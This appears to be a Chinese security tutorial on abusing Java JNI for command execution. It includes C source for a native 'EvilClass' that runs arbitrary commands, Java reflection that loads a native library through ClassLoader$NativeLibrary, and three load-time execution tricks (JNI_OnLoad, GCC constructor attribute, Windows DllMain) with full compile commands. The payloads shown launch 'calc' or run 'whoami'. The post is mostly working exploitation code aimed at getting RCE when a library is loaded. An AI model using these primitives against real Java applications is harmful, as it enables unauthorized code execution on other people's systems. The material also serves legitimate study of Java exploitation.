JNI的基本使用
准备 EvilClass.java
public class EvilClass {
public static native String execCmd(String cmd);
}
在当前目录运行
javac EvilClass.java
javah EvilClass
生成 EvilClass.h 文件如下
/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>
/* Header for class EvilClass */
#ifndef _Included_EvilClass
#define _Included_EvilClass
#ifdef __cplusplus
extern "C" {
#endif
/*
* Class: EvilClass
* Method: execCmd
* Signature: (Ljava/lang/String;)Ljava/lang/String;
*/
JNIEXPORT jstring JNICALL Java_EvilClass_execCmd
(JNIEnv *, jclass, jstring);
#ifdef __cplusplus
}
#endif
#endif
根据EvilClass.h文件编写EvilClass.c文件
EvilClass.c
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
#include "EvilClass.h"
int execmd(const char *cmd, char *result)
{
char buffer[1024*12]; //定义缓冲区
FILE *pipe = popen(cmd, "r"); //打开管道,并执行命令
if (!pipe)
return 0; //返回0表示运行失败
while (!feof(pipe))
{
if (fgets(buffer, 128, pipe))
{ //将管道输出到result中
strcat(result, buffer);
}
}
pclose(pipe); //关闭管道
return 1; //返回1表示运行成功
}
JNIEXPORT jstring JNICALL Java_EvilClass_execCmd(JNIEnv *env, jclass class_object, jstring jstr)
{
const char *cstr = (*env)->GetStringUTFChars(env, jstr, NULL);
char result[1024 * 12] = ""; //定义存放结果的字符串数组
if (1 == execmd(cstr, result))
{
// printf(result);
}
char return_messge[100] = "";
strcat(return_messge, result);
jstring cmdresult = (*env)->NewStringUTF(env, return_messge);
//system();
return cmdresult;
}
编译生成对应动态链接库文件(linux下)
gcc -fPIC -I $JAVA_HOME/include -I $JAVA_HOME/include/linux -shared -o libcmd.so EvilClass.c
windows下使用
gcc -fPIC -I "%JAVA_HOME%\include" -I "%JAVA_HOME%\include\win32" -shared -o libcmd.dll EvilClass.c
关于对应的头文件可以在jdk的 inlude
目录下参考
后续使用 System.loadLibrary("libname");
或 System.load("/libpath")
加载即可,注意后者要用完整的路径,加载完就可以正常调用对应的native方法了
Java如何加载动态链接库
参考 https://tttang.com/archive/1436/ ,讲的非常细
关于文中提到的在java层模拟加载动态链接库,里面只是到了 load
这步,具体想要调用对应的native方法还需要将libs放入对应的ClassLoader中
//调用java.lang.ClassLoader$NativeLibrary类的load方法加载动态链接库
......
public class EvilClass {
public static native String execCmd(String cmd);
}
......
ClassLoader cmdLoader = EvilClass.class.getClassLoader();
Class<?> classLoaderClazz = Class.forName("java.lang.ClassLoader");
Class<?> nativeLibraryClazz = Class.forName("java.lang.ClassLoader$NativeLibrary");
Method load = nativeLibraryClazz.getDeclaredMethod("load", String.class, boolean.class);
load.setAccessible(true);
Field field = classLoaderClazz.getDeclaredField("nativeLibraries");
field.setAccessible(true);
Vector<Object> libs = (Vector<Object>) field.get(cmdLoader);
Constructor<?> nativeLibraryCons = nativeLibraryClazz.getDeclaredConstructor(Class.class, String.class, boolean.class);
nativeLibraryCons.setAccessible(true);
Object nativeLibraryObj = nativeLibraryCons.newInstance(EvilClass.class, LIB_PATH, false);
libs.addElement(nativeLibraryObj);
//这里注意要将libs放入对应的ClassLoader中(跟着源码调下就能知道)
field.set(cmdLoader, libs);
load.invoke(nativeLibraryObj, LIB_PATH, false);
//执行命令
EvilClass.execCmd("whoami");
......
......
加载动态链接库时直接执行恶意代码
如何做到在 System.load()
或 System.loadLibrary()
时直接RCE呢
我大致找到了三种方法
利用 JNI_OnLoad
参考 https://docs.oracle.com/javase/8/docs/technotes/guides/jni/spec/invocation.html#JNJI_OnLoad
JNI_OnLoad
函数是一个可选的JNI函数,用于在加载本地库时进行初始化工作。当Java虚拟机加载包含本地方法的库时,会自动调用JNI_OnLoad
函数。
我们编写c代码
#include <stdlib.h>
#include <jni.h>
JNIEXPORT jint JNICALL JNI_OnLoad(JavaVM *vm, void *reserved) {
system("calc");
//system("touch success");
return JNI_VERSION_1_8;
}
直接编译
(windows下)
gcc -fPIC -I "%JAVA_HOME%\include" -I "%JAVA_HOME%\include\win32" -shared -o jniOnload.dll JNI_Onload2start.c
(linux下)
gcc -fPIC -I $JAVA_HOME/include -I $JAVA_HOME/include/linux -shared -o jniOnload.so JNI_Onload2start.c
然后
public class Main {
static {
System.loadLibrary("jniOnload");
}
public static void main(String[] args) {
}
}
加载即可执行命令
利用 __attribute__((constructor))
__attribute__((constructor))
是 GCC 和 Clang 等编译器的扩展语法,用于声明一个函数在程序启动时(在 main
函数之前)自动执行。这种机制的实现是由链接器来完成的,它会在动态链接库加载时自动调用这些被标记为构造函数的函数。在动态链接库加载时,链接器会遍历库中的所有构造函数,并按照它们在链接时的顺序依次调用它们。
编写c代码
#include <stdio.h>
#include <stdlib.h>
void __attribute__((constructor)) myInitFunction() {
// 在加载动态链接库时执行特定代码
system("calc");
}
直接编译(没有使用到 jni.h 头文件,所以直接编译就行)
(linux下)
gcc -fPIC -shared -o attribute2start.so attribute2start.c
执行
windows下利用DLLMain
DLLMain
是Windows动态链接库的入口点函数,在DLL加载和卸载时会被自动调用。
编写c代码
#include <Windows.h>
#include <stdlib.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
// 在DLL加载时执行特定代码
system("calc");
break;
case DLL_PROCESS_DETACH:
// 在DLL卸载时执行特定代码
// ...
break;
case DLL_THREAD_ATTACH:
// 在线程连接到DLL时执行特定代码
// ...
break;
case DLL_THREAD_DETACH:
// 在线程从DLL断开时执行特定代码
// ...
break;
}
return TRUE;
}
编译
gcc -fPIC -shared -o DllMain2start.dll DllMain2start.c
执行